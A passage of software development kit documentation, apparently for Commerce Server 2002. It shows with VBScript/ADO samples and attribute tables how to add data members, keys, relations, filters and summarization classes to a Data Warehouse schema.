Description | "Identifier for an order form." | String | O | Describes the data member.
IsActive | 1 | Integer | O | This is an active data member (that is, instances can be added).
IsPersistent | 1 | Integer | O | Persist instances of this data member in the underlying data store.
IsPrimaryKey | 0 | Integer | O | This attribute is set to True (1) when the GenerateKeyDef attribute is True in the class definition. This is to have the OLE DB Provider for Commerce Server automatically generate the class key. This is not allowed for multi-membered keys.
IsRequired | 1 | Integer | O | This data member is required.

The following table lists the attributes and values in the Member Definition table for the ordergroup_id data member. Unspecified optional attributes are not shown. In the R/O column, R = required, O = optional.

Attribute name | Attribute value | Type | R/O | Purpose
MemberDefName | "ordergroup_Id" | String | R | Uniquely identifies the data member for the class.
ClassDefName | "OrderFormHeader" | String | R | Stores the name of the containing class.
TypeName | "UUID" | String | R | Identifies the data type of the data member.
Description | "Unique identifier for the OrderGroup class." | String | O | Describes the data member.
IsActive | 1 | Integer | O | This is an active data member (that is, instances can be added).
IsPersistent | 1 | Integer | O | Persist instances of this data member in the underlying data store.
IsPrimaryKey | 0 | Integer | O | This attribute is set to True (1) when the GenerateKeyDef attribute is True in the class definition. This is to have the OLE DB Provider for Commerce Server automatically generate the class key. This is not allowed for multi-membered keys.
IsRequired | 1 | Integer | O | This data member is required.

Running Example - Step 3

Create the new OrderForm_Id and ordergroup_id data members for the OrderFormHeader class.

Notes

  • The code provided in this example is for demonstration purposes only. The OrderFormHeader class created in this example already exists in the Data Warehouse schema. The CreateSchemaObject.vbs file included in the Commerce Server 2002 Software Development Kit should be used to automate the process of extending the schema. For more information about the script, see Create Schema Object Script.
'Create an instance in the Member Definition table for the first member.
   recNew.Open "Member/OrderFormHeader/OrderForm_Id", cnnConnection, _
    adModeWrite, adCreateOverwrite

'Set the attributes.
   recNew("ClassDefName") = "OrderFormHeader"
   recNew("TypeName") = "UUID"
   recNew("Description") = "Identifier for an order form."
   recNew("IsPrimaryKey") = 0
   recNew("DefaultValueAsStr") = "{00000000-0000-0000-0000-000000000000}"
   recNew("MemberDefName") = "ordergroup_id"
   recNew("GenerateColumnDef") = 1

'Save the new row.
   recNew("__Commit") = 1
   recNew.Fields.Update
   recNew.Close

'Create an instance in the Member Definition table for the second member.
   recNew.Open "Member/OrderFormHeader/ordergroup_id", cnnConnection, _
    adModeWrite, adCreateOverwrite

'Set the attributes.
   recNew("ClassDefName") = "OrderFormHeader"
   recNew("TypeName") = "UUID"
   recNew("Description") = "Identifier for an order form."
   recNew("IsPrimaryKey") = 0
   recNew("DefaultValueAsStr") = "{00000000-0000-0000-0000-000000000000}"
   recNew("MemberDefName") = "OrderForm_Id"
   recNew("GenerateColumnDef") = 1

'Save the new row.
   recNew("__Commit") = 1
   recNew.Fields.Update
   recNew.Close

The next step in the example is to create the key used to uniquely identify an instance of the OrderFormHeader class.

See Also

Creating a New Class Key

Create Schema Object Script


Creating a New Class Key

This section describes how to create a key as the unique identifier for a class. The class must exist prior to creating the key.

Note

  • For information about creating classes, see Creating a New Class.

Keys can be single or multi-membered. Keys must be unique across a catalog.

You can create a single-valued key in two ways:

  • Implicitly create the key by setting the value corresponding to the key equal to True (1) for both the GenerateKeyDef attribute in the Class Definition table and the IsPrimaryKey attribute in the Member Definition table. Explicitly creating a new instance in the Class Key Definition table is then unnecessary.
  • Explicitly create the key in a two-step process. The first step is to insert a new instance of a Class Key Definition (clskeydef), populating the attributes, and saving the changes. For information about the Class Key Definition, see Key Definition Meta-data.

    The second step is to define the member of the key through the Class Key Member (keymem) table. For information about this step, see Creating a New Class Key Member.

For multi-membered keys, you can only define the member of the key through the Class Key Member (keymem).

We continue our example (which originated in Creating a New Class) by creating the (multi-membered) key for the OrderFormHeader class.

The following table lists the attributes and values of the Class Key Definition table for the OrderFormHeader class. Unspecified optional attributes are not shown. In the R/O column, R = required, O = optional.

Required attribute name | Attribute value | Type | R/O | Purpose
ClassKeyDefName | "myOrderFormHeaderKey" | String | R | Uniquely identifies the class key. Must be unique across the catalog.
ClassDefName | "OrderFormHeader" | String | R | The name of the class for the key.
Description | "Unique key for the OrderFormHeader Class." | String | O | Describes the key.

Running Example - Step 4

Create a new key for the OrderFormHeader class.

Note

  • The code provided in this example is for demonstration purposes only. The OrderFormHeader class created in this example already exists in the Data Warehouse schema. The CreateSchemaObject.vbs file included in the Commerce Server 2002 Software Development Kit should be used to automate the process of extending the schema. For more information about the script, see Create Schema Object Script.
'Create an instance in the Class Key Definition table.
   recNew.Open "Key/myOrderFormHeaderKey", cnnConnection, _
    adModeWrite, adCreateOverwrite

'Set the attributes.
   recNew("ClassDefName") = "OrderFormHeader"
   recNew("Description") = "Unique key for the OrderFormHeader class."

'Save the new row.
   recNew("__Commit") = 1
   recNew.Fields.Update
   recNew.Close

The next step is to define the members of this key.

See Also

Creating a New Class Key Member

Create Schema Object Script


Creating a New Class Key Member

This topic describes how to define class member(s) to form an explicit single- or multi-membered key for a class. The class for the key member(s) must already exist with a defined class key. The class must already contain the indicated data member(s).

A key member is created by creating a new instance of a Key Member (keymem), populating the attributes, and saving the changes. For information about the Class Key Member table, see Key Member Definition Meta-data.

The following table lists the attributes and values of the Class Key Member table for the first member, "ordergroup_id", of the OrderFormHeader class key. Unspecified optional attributes are not shown. In the R/O column, R = required, O = optional.

Attribute name | Attribute value | Type | R/O | Purpose
KeyDefName | "myOrderFormHeaderKey " | String | R | Name of the class key.
MemberName | "ordergroup_id" | String | R | Identifies the data member that is part of the class key.
OrdinalPosInKey | 0 | Integer | R | The position of the data member in the key composition, starting with 0 (zero). The key is guaranteed unique only when the data members are processed in a specific order.
Description | "First member of myOrderFormHeaderKey." | String | O | Describes the key member.

The following table lists the attributes and values of the Class Key Member table for the second member, "OrderForm_Id", of the OrderFormHeader class key. Unspecified optional attributes are not shown. In the R/O column, R = required, O = optional.

Attribute name | Attribute value | Type | R/O | Purpose
KeyDefName | "myOrderFormHeaderKey " | String | R | Name of the class key.
MemberName | "OrderForm_Id" | String | R | Identifies the data member that is part of the class key.
OrdinalPosInKey | 1 | Integer | R | The position of the data member in the key composition, starting with 0 (zero).
Description | "Second member of myOrderFormHeaderKey." | String | O | Describes the key member.

Running Example - Step 5

Create the members of the OrderFormHeader class key.

Note

  • The code provided in this example is for demonstration purposes only. The OrderFormHeader class created in this example already exists in the Data Warehouse schema. The CreateSchemaObject.vbs file included in the Commerce Server 2002 Software Development Kit should be used to automate the process of extending the schema. For more information about the script, see Create Schema Object Script.
'Create an instance in the Key Member table for the first member.
   recNew.Open "KeyMember/myOrderFormHeaderKey/ordergroup_id", _
    cnnConnection, adModeWrite, adCreateOverwrite

'Set the attributes for the first key member.
   recnew("MemDefName") = "ordergroup_id"
   recNew("OrdinalPosInKey") = 0
   recNew("Description") = "First member of myOrderFormHeaderKey."
   recNew("KeyDefName") = myOrderFormHeaderKey

'Save the new row.
   recNew("__Commit") = 1
   recNew.Update
   recNew.Close

'Create an instance in the Key Member table for the second member.
   recNew.Open "KeyMember/myOrderFormHeaderKey/OrderForm_Id", _
    cnnConnection, adModeWrite, adCreateOverwrite

'Set the attributes for the second key member.
   recnew("MemDefName") = "OrderForm_Id"
   recNew("OrdinalPosInKey") = 1
   recNew("Description") = "Second member of myOrderFormHeaderKey."
   recNew("KeyDefName") = myOrderFormHeaderKey

'Save the new row.
   recNew("__Commit") = 1
   recNew.Fields.Update
   recNew.Close

The next step is to create a relation between the "new" OrderFormHeader class and the existing OrderGroup class.

See Also

Creating a new Class Relation

Create Schema Object Script


Creating a New Class Relation

This section describes how to create a parent-child relation between classes in the Data Warehouse. The classes for the relation and the key for the parent class must exist prior to creating the relation. The relation name must be unique.

Notes

  • Member names in inheritance-type relations should not be duplicated in the parent and child classes because all the parent class members are visible in the child class.
  • For one-to-many relations, the parent key member names should not be duplicated in the child class for the same reason.
  • Two classes should only have one relation defined between them.
  • If the IsPersistent attribute of a class is set to zero (0), and the class is then defined to be a parent class, the value of the IsPersistent attribute of the class is changed to one (1) by the OLE DB Provider for Commerce Server.
  • For information about creating classes and keys, see Creating a New Class and Creating a New Class Key, respectively.

A class relation is created by creating a new instance of a Relation Definition (reldef), populating the attributes, and saving the changes. For information about the Relation Definition table, see Relation Definition Meta-data.

We continue our example (which originated in Creating a New Class) by creating a one-to-many (type 2) relation between the existing OrderGroup class and the "new" OrderFormHeader class. For details about these classes, see OrderGroup and OrderFormHeader. By creating this relation to an existing Data Warehouse class, we are linking to the logical schema. Linking to the existing logical schema is not necessary for extending the Data Warehouse.

The following table lists the attributes and values in the Relation Definition table for the relation between the OrderGroup and OrderFormHeader classes. Unspecified optional attributes are not shown. In the R/O column, R = required, O = optional.

Attribute name | Attribute value | Type | R/O | Purpose
RelationName | "OrderGroupToOrderFormHeader" | String | R | Uniquely identifies the relation between the classes.
RelType | 2 | Integer | R | Defines the type of relation. The most common is type "2", which is one-to-many.
ParentClassName | "OrderGroup" | String | R | Identifies the parent class in the parent-child relation.
ParentClassKey | "OrderGroupKey" | String | R | Identifies the key for the parent class.
ChildClassName | "OrderFormHeader" | String | R | Identifies the child class in the parent-child relation.
Description | "OrderGroup to OrderFormHeader relation." | String | O | Describes the relation.

Running Example - Step 6

Create a relation linking the OrderFormHeader class to the OrderGroup class.

Note

  • The code provided in this example is for demonstration purposes only. The OrderFormHeader class created in this example already exists in the Data Warehouse schema. The CreateSchemaObject.vbs file included in the Commerce Server 2002 Software Development Kit should be used to automate the process of extending the schema. For more information about the script, see Create Schema Object Script.
'Create an instance in the Relation Definition table.
   recNew.Open "Relation/OrderGroupToOrderFormHeader", cnnConnection, _
     adModeWrite, adCreateOverwrite

'Set the required attributes.
   recNew("ParentClassName") = "OrderGroup"
   recNew("ParentClassKey") = "OrderGroupKey"
   recNew("ChildClassName") = "OrderFormHeader"
   recNew("RelType") = 2
   recNew("Description") = "OrderGroup to OrderFormHeader relation."

'Save the new row.
   recNew("__Commit") = 1
   recNew.Fields.Update
   recNew.Close

Repeat the process above to add relations between the OrderFormHeader class and other classes (such as the Date class for the existing logical schema). The next step is to create a member relation between specific data members in the parent and child classes to be used as the foreign key for the OrderFormHeader class.

See Also

Creating a New Class Relation Member

Create Schema Object Script


Creating a New Class Relation Member

This section describes how to map a member of a parent class to a member of its child class. This allows the mapped parent class member to be seen and populated by the child class. When a class relation is created, the key members from the parent class are automatically mapped to the child class (as a non-key member) but not persisted in the child class. In this example, because the implicitly mapped parent class key is also used as part of the child class key, and all members of a key must be persisted, this behavior must be overridden. Explicitly creating the relation member allows the persistence of the member to be set.

The relation between the classes must already be defined. In addition, the classes must contain the respective data members prior to creating the relation member.

Note

  • For information about class relations and data members, see Creating a New Class Relation and Creating a New Class Data Member, respectively.

A relation member is created by creating a new instance of a Relation Member (relmem), populating the attributes, and saving the changes. For information about the Relation Member table, see Relation Member Definition Meta-data.

Our running example (which originated in Creating a New Class) concludes by creating a new relation member mapping the ordergroup_id data members of the OrderFormHeader and OrderGroup classes.

The following table lists the required attributes and values in the Relation Member table for the ordergroup_id member relation. Optional attributes are not shown. In the R/O column, R = required, O = optional.

Attribute name | Attribute value | Type | R/O | Purpose
RelationName | "OrderGroupToOrderFormHeader " | String | R | Identifies the class relation.
ParentMemName | "ordergroup_id" | String | R | Identifies the name of the parent class member.
ChildMemName | "ordergroup_id" | String | R | Identifies the name of the child class member.
Description | "OrderGroup.ordergroup_id to OrderFormHeader.ordergroup_id relation member." | String | O | Describes the logical concept underlying the relation.

Running Example - Step 7

Create a relation member mapping the ordergroup_id members of the OrderFormHeader and OrderGroup classes and save the updated schema.

Note

  • The code provided in this example is for demonstration purposes only. The OrderFormHeader class created in this example already exists in the Data Warehouse schema. The CreateSchemaObject.vbs file included in the Commerce Server 2002 Software Development Kit should be used to automate the process of extending the schema. For more information about the script, see Create Schema Object Script.
'Create an instance in the Relation Member Definition table.
   recNew.Open _
   "RelMember/OrderGroupToOrderFormHeader/ordergroup_id/ordergroup_id", _
    cnnConnection, adModeWrite, adCreateOverwrite

'Set the attributes.
   recNew("ParentMemName") = "ordergroup_id"
   recNew("ChildMemName") = "ordergroup_id"
   recNew("Description") = "OrderGroup.ordergroup_id to " & _
    "OrderFormHeader.ordergroup_id relation member."

'Save the new row.
   recNew("__Commit") = 1
   recNew.Fields.Update
   recNew.Close

'Commit the changes to the Data Warehouse schema.
   cmdCommand.CommandText = "CommitSchema"
   cmdCommand.Execute

'Turn off "Schema Change" mode.
'If SchemaMode is set to a value other than On, True, or 1
' it is turned off.
   cmdCommand.CommandText = "SchemaMode=0"
   cmdCommand.Execute

'Close the connection.
   cnnConnection.Close

'Release the objects.
   Set recNew = Nothing
   Set cmdCommand = Nothing
   Set cnnConnection = Nothing

This completes the example of extending the Data Warehouse to include the OrderFormHeader class.

If the OrderFormHeader class was not a pre-existing Data Warehouse class, custom log import tasks would have to be created to populate the new class with user data. Additionally, custom calculations would have to be created to access the new structures for reporting.

See Also

Create Schema Object Script


Applying Filtering to a Class

This topic describes how to apply filtering to a class. Filtering allows the summarization to filter out data based on the value of a member of the base class.

The ClassType attribute of the class definition should be set to "3" for filtering. The InstExclusionExpr attribute of the class definition contains the expression string on which to filter. The filtering feature supports the IN and NOT IN operators using the following syntax:

   Exclusion string = "BaseClassMemberName IN(value)"
   Exclusion string = "BaseClassMemberName NOT IN(value)"

The following examples show how to filter classes.

Note

  • For information about extending the Data Warehouse, see Extending the Data Warehouse Logical Schema.

Example 1

'Set the class name.
   Set recNew = CreateObject("ADODB.Record")
   recNew("ClassDefName") = "NewRequestAgg"

'Set the class type to aggregation.
   recNew("ClassType") = 3

'Set the name of the base class to use for data.
   recNew("BaseClassName") = "Request"

'Set the exclusion string (filter).
'This excludes all data from the aggregation where IsRequest = 1.
   recNew("InstExclusionExpr") = "IsRequest IN(1)"

Example 2

'Set the class name.
   recNew("ClassDefName") = "NewHTTPStatustAgg"

'Set the class type to aggregation.
   recNew("ClassType") = 3

'Set the name of the base class to use for data.
   recNew("BaseClassName") = "Request"

'Set the exclusion string (filter).
'This excludes all hits that have an HTTPStatus not in the given set.
   recNew("InstExclusionExpr") = _
    "HttpStatus NOT IN(0,200,202,203,204,304)"


Creating Summarization Classes

This section describes how to create import-time summarization classes to aggregate data from a base class.

The purpose of a summarization class is to perform load-time aggregation based on different dimensions and to calculate meaningful measure data in an efficient way. The following list contains the specifications for a summarization class. A summarization class must:

  • Be a class defined in the Data Warehouse schema.
  • Specify a base class whose data will be aggregated.
  • Contain one or more class members marked as dimensions or measures.
  • Contain dimensions that specify expressions indicating how the dimensions should be extracted from the base class.
  • Contain measures that specify expressions indicating how the measure should be computed from the base class.
  • Have a key definition that consists of all the dimension members.

The dimension expressions for the summarization class must follow these guidelines:

  • All expressions must have the following syntax for each dimension expression in the summarization class:
    dimension-expr    := date-expr | member-val-expr | uri-expr
date-expr          := datepart(date-selector, a member in the base class
    of type datetime)
date-selector      := yy | yyyy | yyyyq | yyyymm |
    yyyymmdd | yyyymmddhh | yyyymmddhhmi |
    mm | hh | mi | ss | ms | q | yd | wd | mq
member-val-expr   := member-name
uri-expr            := uripart(uripart-selector, member of type URI)
uripart-selector   := site | protocol | extension | dir[n]
  • All expressions must be one of the following: a date expression, a hash expression, a member value expression, or a URI expression.
  • All expressions need to specify the member name of the base class from which this dimension is derived.
  • If the expression is a date expression, the base member must be of type DateTime. Date-selector is to select the format and parts of a DateTime value that will be used as the dimension value in the aggregation class. For example, yy means that only the two-digit year part (for example, 99) of the base class DateTime member will be used as the dimension value in the aggregation class. Similarly, yyyy means that the four-digit year part (for example, 1999) will be used as the dimension value, mm means the two-digit month part, and so on.
  • If the expression is a hash expression, the base member must be a string, a GUID, or a binary. Hash-expression performs a hash on the base member’s string/guid/binary value and uses the hash result as the dimension value of the aggregation class.
  • The member expression is simply a direct mapping from the base member to the dimension member of the summarization class. The base member needs to be a string that stores a valid HTTP URI.
  • Uri-expression can extract the different parts of a valid URI such as the site name, protocol (for example, HTTP or FTP), file extension (for example, .gif or .jpeg), or the nth level directory name and use it as the dimension value of the aggregation class.

For each measure in the summarization class, the measure expression must have the following syntax:

measure-expr      := measure-func(member name in the base class) |
    count(*)
measure-func      := sum | min | max

The count(*) function sums all rows of the base class that match the dimensions of the summarization class. Distinct counts can be obtained by creating a base-level summarization class that consists of dimensions with no measures.

The following is a list of import-time summarization limitations:

  • A summarization class cannot aggregate data from more than one base class.
  • Each summarization class should have at least two dimensions that uniquely track each import, SiteID and the TaskID. Otherwise, the Data Warehouse accumulates errors due to duplicate keys in the final summarization tables.
  • A summarization class can have a maximum of eight dimension members defined.
  • A summarization class has no limit to the number of measure members supported.
  • The uniqueness of each dimension as well as the number of summarization classes minimizes performance for both load time and resource utilizations.

Example

This section assumes that the reader is familiar with ADO and with OLE DB syntax, and knows how to define new classes, new members, and new relationships through the Commerce Server OLE DB provider. For more information, see Creating a New Class.

The following example defines two summarization classes, LogUsage and PageUsageUniqueGUID, and inserts them into the Data Warehouse schema, where the base class, Request, already exists. The sample also contains some utility functions that handle the necessary schema changes.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Public Const fPrimaryKey = 1
Public Const fMultiValued = 2
Public Const fHasDefaultVal = 4
Public Const fIsRequired = 8
Public Const fIsJoinKey = 16
Public Const fDontClear = 32
Public Const fGenerateColDef = 64
Public Const fIsUniqueKey = 128
Public Const fIsIdentityMember = 256

'--- Flags for clsdef
Public Const fGenerateIdentity = &H1
Public Const fGenerateTableDef = &H2
Public Const fGenerateKeyDef = &H4
Public Const fGeneratePartDef = &H8
Public Const fIsAbstract = &H10

Public Const fHasAggrExp = &H100  'member is aggregate
Public Const fIsDimension = &H1000
Public Const fIsMeasure = &H10000

Main
Sub Main()

    'Create an ADO connection object
    Dim objConn
    Set objConn = CreateObject("ADODB.Connection.2.5")

    'Create an ADO command object.
    Dim cmdCommand
    Set cmdCommand = CreateObject("ADODB.Command.2.5")

    'Create an ADO record object.
    Dim recNew
    Set recNew = CreateObject("ADODB.Record.2.5")

    'Open a connection (bind) to the provider.
    'Modify the values for Catalog, Database, User, and Password to
    'match your resources.
    objConn.Open "URL=mscop://InProcConnect/Server=servername:" & _
     "Catalog=DWSchema:Database=database: Trusted_Connection=Yes:" & _
     "FastLoad=True"

    'Set the connection in the command object
    Set cmdCommand.ActiveConnection = objConn

    'Turn on "Schema Change" mode
    cmdCommand.CommandText = "SchemaMode=1"
    cmdCommand.Execute

   'Create the first aggregate
   'Modify the values passed to match your Catalog and SourceDef settings.
    CreateLogUsageAggregate objConn, "DWSchema", "test_Source"

   'Create the second aggregate
   'Modify the values passed to match your Catalog and SourceDef settings.
   CreatePageUsageUniqueGUIDAggregate objConn, "DWSchema", "test_Source"

    '------------------------------------------------
    '  Commit Schema
    '------------------------------------------------
    cmdCommand.CommandText = "CommitSchema"
    cmdCommand.Execute

    'Turn on "Schema Change" mode
    cmdCommand.CommandText = "SchemaMode=0"
    cmdCommand.Execute

End Sub

Sub CreateLogUsageAggregate(objConn, strCatalog, strSrcDef)

    'create aggr class
    strAggClassName = "LogUsage"
    strBaseClassName = "Request"

   'Modify the values passed below to match your Catalog and SourceDef
   'settings.
    CreateClassDef objConn, strAggClassName, "DWSchema", "test_Source", _
      strBaseClassName, false

    '-- Dimension1 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "Date"
    strMemDefType    = "FILETIME"
    strDefVal       = "1900-1-1 0:0:0.0"
    strAggrExp          = "datepart(yyyymmddhh, Timestamp)"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension2 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "urikey"
    strMemDefType    = "UUID"
    strDefVal       = "{00000000-0000-0000-0000-000000000000}"
    strAggrExp          = "uriKey"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension3 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "IsRequest"
    strMemDefType    = "SHORT"
    strDefVal       = "0"
    strAggrExp          = "IsRequest"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, true

    '-- Dimension4 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "Win32Status"
    strMemDefType    = "ULONG"
    strDefVal       = "0"
    strAggrExp          = "Win32Status"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension5 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "ReferrerDomainName"
    strMemDefType    = "WSTR"
    strDefVal       = "Unknown"
    strAggrExp          = "ReferrerDomainName"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension6 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "UserAgentName"
    strMemDefType    = "WSTR"
    strDefVal       = "Unknown"
    strAggrExp          = "UserAgentName"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension7 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "SiteName"
    strMemDefType    = "WSTR"
    strDefVal       = "Unknown"
    strAggrExp          = "SiteName"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension8 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "TaskID"
    strMemDefType    = "LONG"
    strDefVal       = "0"
    strAggrExp          = "TaskID"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Measure1 : create the measure
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsMeasure
    strMemDef       = "RequestCount"
    strMemDefType    = "LONG"
    strDefVal       = "0"
    strAggrExp          = "count(*)"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, true

    '-- Relation1 : create the relationship to a dimension class
    strClsParent   = "Date"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "DTimestamp"
    strChildMem         = "Date"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation2 : create the relationship to a dimension class
    strClsParent   = "uri"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "urikey"
    strChildMem         = "urikey"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation3 : create the relationship to a dimension class
    strClsParent   = "referrerdomain"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "ReferrerDomainName"
    strChildMem         = "ReferrerDomainName"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation4 : create the relationship to a dimension class
    strClsParent   = "useragent"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "UserAgentName"
    strChildMem         = "UserAgentName"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation5 : create the relationship to a dimension class
    strClsParent   = "win32status"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "Win32Status"
    strChildMem         = "Win32Status"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation6 : create the relationship to a dimension class
    strClsParent   = "site"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "SiteName"
    strChildMem         = "SiteName"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation7 : create the relationship to a dimension class
    strClsParent   = "taskhistory"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "TaskID"
    strChildMem         = "TaskID"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Creating the key definition for this aggregate, this is going to
    '-- be consisted of all the dimension members.

    strKeyDefName = strAggClassName + "Key"
    CreateKeyDef objConn, strAggClassName, strKeyDefName

    strMemDefName = "DateID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 0
    strMemDefName = "IsRequest"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 1
    strMemDefName = "Win32StatusID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 2
    strMemDefName = "SiteID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 3
    strMemDefName = "TaskHistoryID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 4
    strMemDefName = "ReferrerDomainID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 5
    strMemDefName = "UserAgentID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 6
    strMemDefName = "uriID"
    CreateKeyMemberDef objConn,  strKeyDefName, strMemDefName, 7

End Sub

Sub CreatePageUsageUniqueGUIDAggregate(objConn, strCatalog, strSrcDef)

    'create aggr class
    strAggClassName = "PageUsageUniqueGUID"
    strBaseClassName = "Request"

   'Modify the values passed below to match your Catalog and SourceDef settings.
    CreateClassDef objConn, strAggClassName, "DWSchema", "test_Source", _
      strBaseClassName, false

    '-- Dimension1 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "DTimestamp"
    strMemDefType    = "FILETIME"
    strDefVal       = "1900-1-1 0:0:0.0"
    strAggrExp          = "datepart(yyyymmddhh, Timestamp)"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension2 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "urikey"
    strMemDefType    = "UUID"
    strDefVal       = "{00000000-0000-0000-0000-000000000000}"
    strAggrExp          = "uriKey"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension3 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "userKey"
    strMemDefType    = "UUID"
    strDefVal       = "{00000000-0000-0000-0000-000000000000}"
    strAggrExp          = "userKey"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension4 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "SiteName"
    strMemDefType    = "WSTR"
    strDefVal       = "Unknown"
    strAggrExp          = "SiteName"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Dimension5 : create dimension
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsDimension
    strMemDef       = "TaskID"
    strMemDefType    = "LONG"
    strDefVal       = "0"
    strAggrExp          = "TaskID"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, false

    '-- Measure1 : create the measure
    lMemFlags       =  fGenerateColDef +  fHasDefaultVal + fIsMeasure
    strMemDef       = "RequestCount"
    strMemDefType    = "ULONG"
    strDefVal       = "0"
    strAggrExp          = "count(*)"

    CreateMemberDef objConn, strAggClassName, strMemDef, strMemDefType , _
      lMemFlags ,  strDefVal,strAggrExp, true

    '-- Relation1 : create the relationship to a dimension class
    strClsParent   = "Date"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "DTimestamp"
    strChildMem         = "DTimestamp"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation2 : create the relationship to a dimension class
    strClsParent   = "uri"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "urikey"
    strChildMem         = "urikey"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation3 : create the relationship to a dimension class
    strClsParent   = "loguser"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "userkey"
    strChildMem         = "userkey"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation4 : create the relationship to a dimension class
    strClsParent   = "site"
    strRelName       = strClsParent + strAggClassName
    CreateRelDef objConn , strRelName , strClsParent , strAggClassName , _
      strClsParent + "Key" , 2

    strParentKeyMem    = "SiteName"
    strChildMem         = "SiteName"
    CreateRelMemDef objConn, strRelName, strParentKeyMem, strChildMem

    '-- Relation5 : create the relationship to a dimension class
    strClsParent   = "taskhistory"
